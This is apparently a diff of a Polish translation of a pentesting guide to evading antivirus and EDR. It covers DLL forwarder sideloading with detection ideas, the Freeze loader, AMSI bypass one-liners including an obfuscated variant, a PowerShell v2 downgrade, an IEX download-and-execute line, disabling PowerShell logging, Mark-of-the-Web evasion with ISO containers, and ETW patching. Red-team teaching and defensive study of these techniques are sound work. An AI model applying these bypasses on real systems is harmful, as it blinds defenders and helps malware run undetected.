- Skoncentruj się na forwarded exports, gdzie moduł docelowy nie jest KnownDLL. KnownDLLs są wymienione pod `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
|
||||
- Możesz zenumerować forwarded exports za pomocą narzędzi takich jak:
|
||||
```
|
||||
dumpbin /exports C:\Windows\System32\keyiso.dll
|
||||
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
|
||||
```
|
||||
- Zobacz inwentarz forwarderów Windows 11, aby wyszukać kandydatów: https://hexacorn.com/d/apis_fwd.txt
|
||||
- Zobacz Windows 11 forwarder inventory, aby wyszukać kandydatów: https://hexacorn.com/d/apis_fwd.txt
|
||||
|
||||
Pomysły na wykrywanie/obronę:
|
||||
- Monitoruj LOLBins (np. rundll32.exe) ładujące podpisane DLL z nie-systemowych ścieżek, a następnie ładujące nie-KnownDLLs o tej samej nazwie bazowej z tego katalogu
|
||||
- Generuj alerty dla łańcuchów procesów/modułów takich jak: `rundll32.exe` → nie-systemowy `keyiso.dll` → `NCRYPTPROV.dll` w ścieżkach zapisywalnych przez użytkownika
|
||||
- Wymuś polityki integralności kodu (WDAC/AppLocker) i zabroń jednoczesnego zapisywania i wykonywania w katalogach aplikacji
|
||||
- Monitoruj LOLBins (np. rundll32.exe) ładujące podpisane DLL z nie-systemowych ścieżek, a następnie ładujące non-KnownDLLs o tej samej nazwie bazowej z tego katalogu
|
||||
- Generuj alert dla łańcuchów procesów/modułów takich jak: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` w ścieżkach zapisywalnych przez użytkownika
|
||||
- Wymuś polityki integralności kodu (WDAC/AppLocker) i zabroń równoczesnego zapisu i wykonania w katalogach aplikacji
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
|
||||
|
||||
Możesz użyć Freeze, aby załadować i wykonać swój shellcode w sposób ukryty.
|
||||
Możesz użyć Freeze, aby załadować i wykonać swój shellcode w dyskretny sposób.
|
||||
```
|
||||
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
||||
1. Generate some shellcode, in this case I used Havoc C2.
|
||||
@ -189,51 +187,51 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Ewazja to gra w kotka i myszkę — to, co działa dziś, jutro może być wykryte, więc nigdy nie polegaj wyłącznie na jednym narzędziu; jeśli to możliwe, staraj się łączyć kilka technik omijania.
|
||||
> Evasion to gra w kota i myszkę — to, co działa dzisiaj, może zostać wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu; jeśli to możliwe, spróbuj łączyć kilka technik unikania wykrycia.
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
AMSI zostało stworzone, aby zapobiegać "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Początkowo AVs potrafiły skanować tylko **files on disk**, więc jeśli udało się w jakiś sposób wykonać payloady **directly in-memory**, AV nic nie mógł zrobić, ponieważ nie miał wystarczającej widoczności.
|
||||
AMSI zostało stworzone, aby zapobiegać "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Początkowo oprogramowanie antywirusowe było w stanie skanować jedynie pliki na dysku, więc jeśli udało się wykonać payloady bezpośrednio w pamięci, AV nie mogło nic z tym zrobić, ponieważ nie miało wystarczającej widoczności.
|
||||
|
||||
Funkcja AMSI jest zintegrowana z następującymi komponentami Windows.
|
||||
|
||||
- User Account Control, or UAC (podnoszenie uprawnień EXE, COM, MSI lub instalacji ActiveX)
|
||||
- PowerShell (skrypty, użycie interaktywne oraz dynamiczna ewaluacja kodu)
|
||||
- User Account Control, or UAC (podniesienie uprawnień EXE, COM, MSI, lub instalacji ActiveX)
|
||||
- PowerShell (skrypty, użycie interaktywne i dynamiczna ewaluacja kodu)
|
||||
- Windows Script Host (wscript.exe i cscript.exe)
|
||||
- JavaScript i VBScript
|
||||
- Office VBA macros
|
||||
- makra Office VBA
|
||||
|
||||
Pozwala rozwiązaniom antywirusowym na analizę zachowania skryptów, udostępniając ich zawartość w formie niezaszyfrowanej i nieobfuskowanej.
|
||||
Pozwala to rozwiązaniom antywirusowym na analizę zachowania skryptów poprzez udostępnienie zawartości skryptu w formie niezaszyfrowanej i nieobfuskowanej.
|
||||
|
||||
Uruchomienie `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` spowoduje następujące ostrzeżenie w Windows Defender.
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Zwróć uwagę, że poprzedza to `amsi:` a następnie ścieżkę do pliku wykonywalnego, z którego uruchomiono skrypt — w tym przypadku powershell.exe
|
||||
Zwróć uwagę, że poprzedza to `amsi:` a potem ścieżką do pliku wykonywalnego, z którego uruchomiono skrypt — w tym przypadku powershell.exe
|
||||
|
||||
Nie zapisaliśmy żadnego pliku na dysku, a mimo to zostaliśmy wykryci in-memory z powodu AMSI.
|
||||
Nie zapisaliśmy żadnego pliku na dysku, a mimo to zostaliśmy wykryci w pamięci z powodu AMSI.
|
||||
|
||||
Co więcej, począwszy od **.NET 4.8**, kod C# jest również przechodzony przez AMSI. Dotyczy to nawet `Assembly.Load(byte[])` przy ładowaniu do in-memory. Dlatego zaleca się używanie niższych wersji .NET (np. 4.7.2 lub starszych) do wykonywania in-memory, jeśli chcesz ominąć AMSI.
|
||||
Co więcej, począwszy od **.NET 4.8**, kod C# jest również poddawany AMSI. Ma to nawet wpływ na `Assembly.Load(byte[])` przy ładowaniu do pamięci. Dlatego zaleca się używanie starszych wersji .NET (np. 4.7.2 lub starszych) do wykonywania w pamięci, jeśli chcesz ominąć AMSI.
|
||||
|
||||
Istnieje kilka sposobów obejścia AMSI:
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
Ponieważ AMSI działa głównie na zasadzie wykrywania statycznego, modyfikowanie skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia.
|
||||
Ponieważ AMSI działa głównie w oparciu o wykrycia statyczne, modyfikowanie skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia.
|
||||
|
||||
Jednak AMSI potrafi deobfuskować skrypty nawet jeśli mają wiele warstw obfuskacji, więc obfuskacja może być złą opcją w zależności od sposobu wykonania. To sprawia, że uniknięcie wykrycia nie jest proste. Chociaż czasem wystarczy zmienić kilka nazw zmiennych i wszystko będzie w porządku, więc zależy to od tego, jak bardzo coś zostało oznaczone.
|
||||
Jednak AMSI ma zdolność do deobfuskacji skryptów nawet jeśli są one wielowarstwowo obfuskowane, więc obfuskacja może być złym wyborem w zależności od tego, jak zostanie wykonana. To sprawia, że ominięcie nie jest trywialne. Czasami jednak wystarczy zmienić kilka nazw zmiennych i wszystko będzie działać, więc zależy to od tego, jak bardzo coś zostało oznaczone.
|
||||
|
||||
- **AMSI Bypass**
|
||||
|
||||
Ponieważ AMSI jest implementowane przez załadowanie DLL do procesu powershell (również cscript.exe, wscript.exe itp.), możliwe jest łatwe manipulowanie nim nawet działając jako nieuprzywilejowany użytkownik. Z powodu tej wady implementacyjnej badacze znaleźli wiele sposobów na ominięcie skanowania przez AMSI.
|
||||
Ponieważ AMSI jest implementowane poprzez załadowanie DLL do procesu powershell (a także cscript.exe, wscript.exe, itd.), możliwe jest jego manipulowanie nawet przy uruchomieniu jako nieuprzywilejowany użytkownik. Z powodu tej wady implementacyjnej badacze odkryli wiele sposobów na ominięcie skanowania AMSI.
|
||||
|
||||
**Forcing an Error**
|
||||
|
||||
Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że dla bieżącego procesu nie zostanie zainicjowane żadne skanowanie. Początkowo ujawnił to [Matt Graeber](https://twitter.com/mattifestation), a Microsoft opracował sygnaturę, aby zapobiec szerszemu użyciu.
|
||||
Wymuszenie niepowodzenia inicjalizacji AMSI (`amsiInitFailed`) spowoduje, że dla bieżącego procesu nie zostanie uruchomione żadne skanowanie. Początkowo zostało to ujawnione przez [Matt Graeber](https://twitter.com/mattifestation) i Microsoft opracował sygnaturę, aby uniemożliwić szerokie wykorzystanie tej metody.
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
Wystarczyła jedna linia kodu powershell, żeby uczynić AMSI nieużytecznym dla aktualnego procesu powershell. Ta linia została oczywiście wykryta przez samo AMSI, więc potrzebna jest pewna modyfikacja, aby móc użyć tej techniki.
|
||||
Wystarczyła jedna linia kodu powershell, aby uczynić AMSI nieużytecznym dla bieżącego procesu powershell. Ta linia została oczywiście wykryta przez samo AMSI, więc konieczna jest pewna modyfikacja, aby móc użyć tej techniki.
|
||||
|
||||
Oto zmodyfikowany AMSI bypass, który wziąłem z tego [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
|
||||
```bash
|
||||
@ -249,119 +247,119 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
||||
$Spotfix.SetValue($null,$true)
|
||||
}Catch{Throw $_}
|
||||
```
|
||||
Pamiętaj, że prawdopodobnie zostanie to zgłoszone po publikacji tego wpisu, więc jeśli planujesz pozostać niezauważony, nie publikuj żadnego kodu.
|
||||
Pamiętaj, że to prawdopodobnie zostanie wykryte po opublikowaniu tego wpisu, więc nie powinieneś publikować żadnego kodu, jeśli planujesz pozostać niezauważony.
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
|
||||
Technika została początkowo odkryta przez [@RastaMouse](https://twitter.com/_RastaMouse/) i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie danych dostarczonych przez użytkownika) oraz nadpisaniu jej instrukcjami zwracającymi kod E_INVALIDARG. W ten sposób wynik rzeczywistego skanu będzie równy 0, co jest interpretowane jako wynik czysty.
|
||||
|
||||
> [!TIP]
|
||||
> Przeczytaj [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) dla bardziej szczegółowego wyjaśnienia.
|
||||
> Proszę przeczytać [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) w celu uzyskania bardziej szczegółowego wyjaśnienia.
|
||||
|
||||
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
|
||||
Istnieje też wiele innych technik używanych do obejścia AMSI przy użyciu powershell — zobacz [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) i [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się o nich więcej.
|
||||
|
||||
This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
|
||||
To narzędzie [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) również generuje skrypt do obejścia AMSI.
|
||||
|
||||
**Usuń wykrytą sygnaturę**
|
||||
|
||||
Możesz użyć narzędzia takiego jak **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** oraz **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**, aby usunąć wykrytą sygnaturę AMSI z pamięci bieżącego procesu. Narzędzia te działają poprzez skanowanie pamięci procesu w poszukiwaniu sygnatury AMSI, a następnie nadpisanie jej instrukcjami NOP, efektywnie usuwając ją z pamięci.
|
||||
Możesz użyć narzędzia takiego jak **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** i **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**, aby usunąć wykrytą sygnaturę AMSI z pamięci bieżącego procesu. Narzędzie działa poprzez skanowanie pamięci bieżącego procesu w poszukiwaniu sygnatury AMSI, a następnie nadpisuje ją instrukcjami NOP, efektywnie usuwając ją z pamięci.
|
||||
|
||||
**AV/EDR products that uses AMSI**
|
||||
**Produkty AV/EDR, które używają AMSI**
|
||||
|
||||
Listę produktów AV/EDR korzystających z AMSI znajdziesz w **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
|
||||
Listę produktów AV/EDR wykorzystujących AMSI znajdziesz w **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
|
||||
|
||||
**Use Powershell version 2**
|
||||
Jeżeli użyjesz PowerShell w wersji 2, AMSI nie zostanie załadowane, więc możesz uruchomić swoje skrypty bez ich skanowania przez AMSI. Możesz to zrobić:
|
||||
**Użyj Powershell w wersji 2**
|
||||
Jeśli użyjesz PowerShell w wersji 2, AMSI nie zostanie załadowane, więc możesz uruchamiać swoje skrypty bez skanowania przez AMSI. Możesz to zrobić:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
```
|
||||
## Logowanie PowerShell
|
||||
## PS Logging
|
||||
|
||||
PowerShell logging to funkcja, która pozwala rejestrować wszystkie polecenia PowerShell wykonywane na systemie. Może to być przydatne do audytu i rozwiązywania problemów, ale także stanowić **problem dla atakujących, którzy chcą unikać wykrycia**.
|
||||
PowerShell logging to funkcja pozwalająca rejestrować wszystkie polecenia PowerShell uruchamiane na systemie. Może to być przydatne do audytu i rozwiązywania problemów, ale może też stanowić **problem dla atakujących chcących uniknąć wykrycia**.
|
||||
|
||||
Aby obejść logowanie PowerShell, możesz użyć następujących technik:
|
||||
Aby obejść PowerShell logging, możesz użyć następujących technik:
|
||||
|
||||
- **Disable PowerShell Transcription and Module Logging**: Możesz użyć narzędzia takiego jak [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) do tego celu.
|
||||
- **Use Powershell version 2**: Jeśli użyjesz PowerShell w wersji 2, AMSI nie zostanie załadowany, więc możesz uruchamiać skrypty bez skanowania przez AMSI. Możesz to zrobić: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: Użyj [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) aby uruchomić powershell bez zabezpieczeń (to właśnie wykorzystuje `powerpick` z Cobal Strike).
|
||||
- **Disable PowerShell Transcription and Module Logging**: W tym celu możesz użyć narzędzia takiego jak [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs).
|
||||
- **Use Powershell version 2**: Jeśli użyjesz PowerShell w wersji 2, AMSI nie zostanie załadowane, więc możesz uruchamiać skrypty bez skanowania przez AMSI. Możesz to zrobić: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: Użyj [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) aby uruchomić PowerShell bez obron (to właśnie używa `powerpick` z Cobal Strike).
|
||||
|
||||
|
||||
## Obfuskacja
|
||||
|
||||
> [!TIP]
|
||||
> Kilka technik obfuskacji opiera się na szyfrowaniu danych, co zwiększa entropię binarki i ułatwia wykrycie przez AVs i EDRs. Uważaj na to i ewentualnie stosuj szyfrowanie tylko w określonych sekcjach kodu, które są wrażliwe lub muszą być ukryte.
|
||||
> Kilka technik obfuskacji polega na szyfrowaniu danych, co zwiększa entropię pliku binarnego i ułatwia AVs i EDRs ich wykrycie. Zachowaj ostrożność i rozważ stosowanie szyfrowania tylko w określonych sekcjach kodu, które są wrażliwe lub muszą być ukryte.
|
||||
|
||||
### Deobfuskacja .NET binarek chronionych przez ConfuserEx
|
||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||
|
||||
Podczas analizowania malware używającego ConfuserEx 2 (lub komercyjnych forków) często napotykamy kilka warstw ochrony, które blokują dekompilery i sandboxy. Poniższy workflow niezawodnie **przywraca niemal oryginalny IL**, który następnie można zdekompilować do C# w narzędziach takich jak dnSpy lub ILSpy.
|
||||
Podczas analizy malware używającego ConfuserEx 2 (lub komercyjnych forków) często napotykasz kilka warstw ochrony, które blokują dekompilery i sandboksy. Poniższy workflow niezawodnie **przywraca niemal oryginalny IL**, który można potem zdekompilować do C# w narzędziach takich jak dnSpy lub ILSpy.
|
||||
|
||||
1. Anti-tampering removal – ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`<Module>.cctor`). This also patches the PE checksum so any modification will crash the binary. Use **AntiTamperKiller** to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly:
|
||||
1. Anti-tampering removal – ConfuserEx szyfruje każde *method body* i odszyfrowuje je w statycznym konstruktorze *module* (`<Module>.cctor`). To również modyfikuje sumę kontrolną PE, więc każda modyfikacja spowoduje awarię binarki. Użyj **AntiTamperKiller** aby zlokalizować zaszyfrowane tabele metadanych, odzyskać XOR keys i zapisać czysty assembly:
|
||||
```bash
|
||||
# https://github.com/wwh1004/AntiTamperKiller
|
||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||
```
|
||||
Wyjście zawiera 6 parametrów anty-tamper (`key0-key3`, `nameHash`, `internKey`), które mogą być przydatne przy budowaniu własnego unpackera.
|
||||
Wyjście zawiera 6 parametrów anti-tamper (`key0-key3`, `nameHash`, `internKey`) które mogą być przydatne przy budowaniu własnego unpackera.
|
||||
|
||||
2. Symbol / control-flow recovery – feed the *clean* file to **de4dot-cex** (a ConfuserEx-aware fork of de4dot).
|
||||
2. Symbol / control-flow recovery – podaj *clean* plik do **de4dot-cex** (fork de4dot świadomy ConfuserEx).
|
||||
```bash
|
||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||
```
|
||||
Flagi:
|
||||
• `-p crx` – select the ConfuserEx 2 profile
|
||||
• de4dot will undo control-flow flattening, restore original namespaces, classes and variable names and decrypt constant strings.
|
||||
• `-p crx` – select the ConfuserEx 2 profile
|
||||
• de4dot cofnie control-flow flattening, przywróci oryginalne namespaces, klasy i nazwy zmiennych oraz odszyfruje stałe łańcuchy znaków.
|
||||
|
||||
3. Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a *proxy calls*) to further break decompilation. Remove them with **ProxyCall-Remover**:
|
||||
3. Proxy-call stripping – ConfuserEx zastępuje bezpośrednie wywołania metod lekkimi wrapperami (tzw. *proxy calls*), aby dodatkowo utrudnić dekompilację. Usuń je za pomocą **ProxyCall-Remover**:
|
||||
```bash
|
||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||
```
|
||||
Po tym kroku powinieneś zobaczyć normalne wywołania .NET API takie jak `Convert.FromBase64String` czy `AES.Create()` zamiast niejasnych funkcji wrapper (`Class8.smethod_10`, …).
|
||||
Po tym kroku powinieneś zobaczyć normalne API .NET, takie jak `Convert.FromBase64String` czy `AES.Create()` zamiast nieprzejrzystych funkcji-wrappperów (`Class8.smethod_10`, …).
|
||||
|
||||
4. Manual clean-up – uruchom otrzymaną binarkę w dnSpy, wyszukaj duże bloby Base64 lub użycie `RijndaelManaged`/`TripleDESCryptoServiceProvider`, aby zlokalizować *prawdziwy* payload. Często malware przechowuje go jako TLV-encoded byte array zainicjalizowaną wewnątrz `<Module>.byte_0`.
|
||||
4. Manual clean-up – uruchom wynikowy binarek w dnSpy, wyszukaj duże bloby Base64 lub użycie `RijndaelManaged`/`TripleDESCryptoServiceProvider`, aby zlokalizować *prawdziwy* payload. Często malware przechowuje go jako TLV-encoded tablicę bajtów zainicjalizowaną wewnątrz `<Module>.byte_0`.
|
||||
|
||||
Powyższy łańcuch przywraca przepływ wykonania **bez** konieczności uruchamiania złośliwego próbki – przydatne podczas pracy na offline stacji roboczej.
|
||||
Powyższy ciąg przywraca przepływ wykonania **bez** konieczności uruchamiania złośliwej próbki – przydatne przy pracy na offline'owej stacji roboczej.
|
||||
|
||||
> 🛈 ConfuserEx produces a custom attribute named `ConfusedByAttribute` that can be used as an IOC to automatically triage samples.
|
||||
> 🛈 ConfuserEx tworzy niestandardowy atrybut o nazwie `ConfusedByAttribute`, który można wykorzystać jako IOC do automatycznego triage próbek.
|
||||
|
||||
#### Jednolinijkowiec
|
||||
#### One-liner
|
||||
```bash
|
||||
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
||||
```
|
||||
---
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest udostępnienie open-source forka zestawu kompilacyjnego [LLVM](http://www.llvm.org/) umożliwiającego zwiększenie bezpieczeństwa oprogramowania poprzez [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) oraz zabezpieczenia przed manipulacją.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstruje, jak użyć języka `C++11/14` do generowania, w czasie kompilacji, obfuscated code bez użycia zewnętrznych narzędzi i bez modyfikowania kompilatora.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuscated operations generowanych przez framework C++ template metaprogramming, co utrudni życie osobie chcącej złamać aplikację.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to x64 binary obfuscator, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie otwartoźródłowego forka [LLVM](http://www.llvm.org/) zestawu kompilacyjnego, zdolnego zapewnić zwiększone bezpieczeństwo oprogramowania poprzez [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) i tamper-proofing.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstruje, jak użyć języka `C++11/14` do generowania, w czasie kompilacji, obfuscated code bez użycia jakichkolwiek zewnętrznych narzędzi i bez modyfikowania kompilatora.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuscated operations generowanych przez C++ template metaprogramming framework, co utrudni nieco życie osobie chcącej złamać aplikację.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to x64 binary obfuscator, który potrafi obfuskować różne pliki PE, w tym: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame to prosty metamorphic code engine dla dowolnych plików wykonywalnych.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to drobnoziarnisty code obfuscation framework dla języków wspieranych przez LLVM wykorzystujący ROP (return-oriented programming). ROPfuscator obfuskowuje program na poziomie assembly code przez przekształcanie zwykłych instrukcji w ROP chains, zakłócając nasze naturalne pojmowanie normalnego przepływu sterowania.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to fine-grained code obfuscation framework dla języków wspieranych przez LLVM, wykorzystujący ROP (return-oriented programming). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w ROP chains, zakłócając naturalne pojmowanie normalnego przepływu sterowania.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt to .NET PE Crypter napisany w Nim
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi konwertować istniejące EXE/DLL do shellcode, a następnie je załadować
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi przekonwertować istniejące EXE/DLL na shellcode, a następnie je załadować
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
You may have seen this screen when downloading some executables from the internet and executing them.
|
||||
Być może widziałeś ten ekran podczas pobierania niektórych plików wykonywalnych z internetu i uruchamiania ich.
|
||||
|
||||
Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
|
||||
Microsoft Defender SmartScreen to mechanizm bezpieczeństwa mający na celu chronić użytkownika końcowego przed uruchamianiem potencjalnie złośliwych aplikacji.
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).
|
||||
SmartScreen działa głównie na zasadzie reputacji, co oznacza, że rzadko pobierane aplikacje wywołają SmartScreen, ostrzegając i uniemożliwiając użytkownikowi końcowemu uruchomienie pliku (chociaż plik nadal można uruchomić, klikając More Info -> Run anyway).
|
||||
|
||||
**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
|
||||
**MoTW** (Mark of The Web) to [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) o nazwie Zone.Identifier, który jest automatycznie tworzony przy pobieraniu plików z internetu, wraz z URL, z którego został pobrany.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Sprawdzanie Zone.Identifier ADS dla pliku pobranego z internetu.</p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Ważne jest, aby pamiętać, że pliki wykonywalne podpisane za pomocą **zaufanego** certyfikatu podpisu **nie wywołają SmartScreen**.
|
||||
> Ważne: pliki wykonywalne podpisane zaufanym certyfikatem podpisu **nie wywołają SmartScreen**.
|
||||
|
||||
Bardzo skutecznym sposobem, aby zapobiec otrzymaniu przez twoje payloads Mark of The Web, jest zapakowanie ich w jakiś kontener, np. ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być zastosowany do **non NTFS** woluminów.
|
||||
Bardzo skutecznym sposobem zapobiegania oznaczaniu payloadów Mark of The Web jest zapakowanie ich w pewnego rodzaju kontener, np. ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowany na **woluminach nie-NTFS**.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) to narzędzie, które pakuje payloady do kontenerów wyjściowych, aby ominąć Mark-of-the-Web.
|
||||
|
||||
Przykładowe użycie:
|
||||
Przykład użycia:
|
||||
```bash
|
||||
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
|
||||
|
||||
@ -383,120 +381,120 @@ Adding file: /TotallyLegitApp.exe
|
||||
|
||||
[+] Generated file written to (size: 3420160): container.iso
|
||||
```
|
||||
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
|
||||
Oto demo obejścia SmartScreen przez spakowanie payloadów wewnątrz plików ISO przy użyciu [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
|
||||
|
||||
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## ETW
|
||||
|
||||
Event Tracing for Windows (ETW) to potężny mechanizm logowania w Windows, który pozwala aplikacjom i komponentom systemowym **logować zdarzenia**. Jednak może być też wykorzystywany przez produkty zabezpieczające do monitorowania i wykrywania złośliwej aktywności.
|
||||
Event Tracing for Windows (ETW) to potężny mechanizm logowania w Windows, który pozwala aplikacjom i komponentom systemowym na **rejestrowanie zdarzeń**. Jednak może być również wykorzystywany przez produkty zabezpieczające do monitorowania i wykrywania złośliwej aktywności.
|
||||
|
||||
Podobnie jak w przypadku obchodzenia AMSI, możliwe jest sprawienie, by funkcja użytkowego procesu **`EtwEventWrite`** zwracała natychmiast bez logowania zdarzeń. Osiąga się to przez zapatchowanie funkcji w pamięci tak, by zwracała od razu, skutecznie wyłączając logowanie ETW dla tego procesu.
|
||||
Podobnie jak w przypadku wyłączania (ominięcia) AMSI, możliwe jest również sprawienie, że funkcja **`EtwEventWrite`** procesu użytkownika zwróci natychmiast, nie logując żadnych zdarzeń. Osiąga się to przez zapatchowanie tej funkcji w pamięci tak, aby od razu zwracała, co efektywnie wyłącza logowanie ETW dla tego procesu.
|
||||
|
||||
Więcej informacji można znaleźć w **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||
Więcej informacji znajdziesz w **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||
|
||||
|
||||
## C# Assembly Reflection
|
||||
|
||||
Ładowanie binarek C# do pamięci jest znane od dawna i nadal jest świetnym sposobem uruchamiania narzędzi post-exploitation bez wykrycia przez AV.
|
||||
|
||||
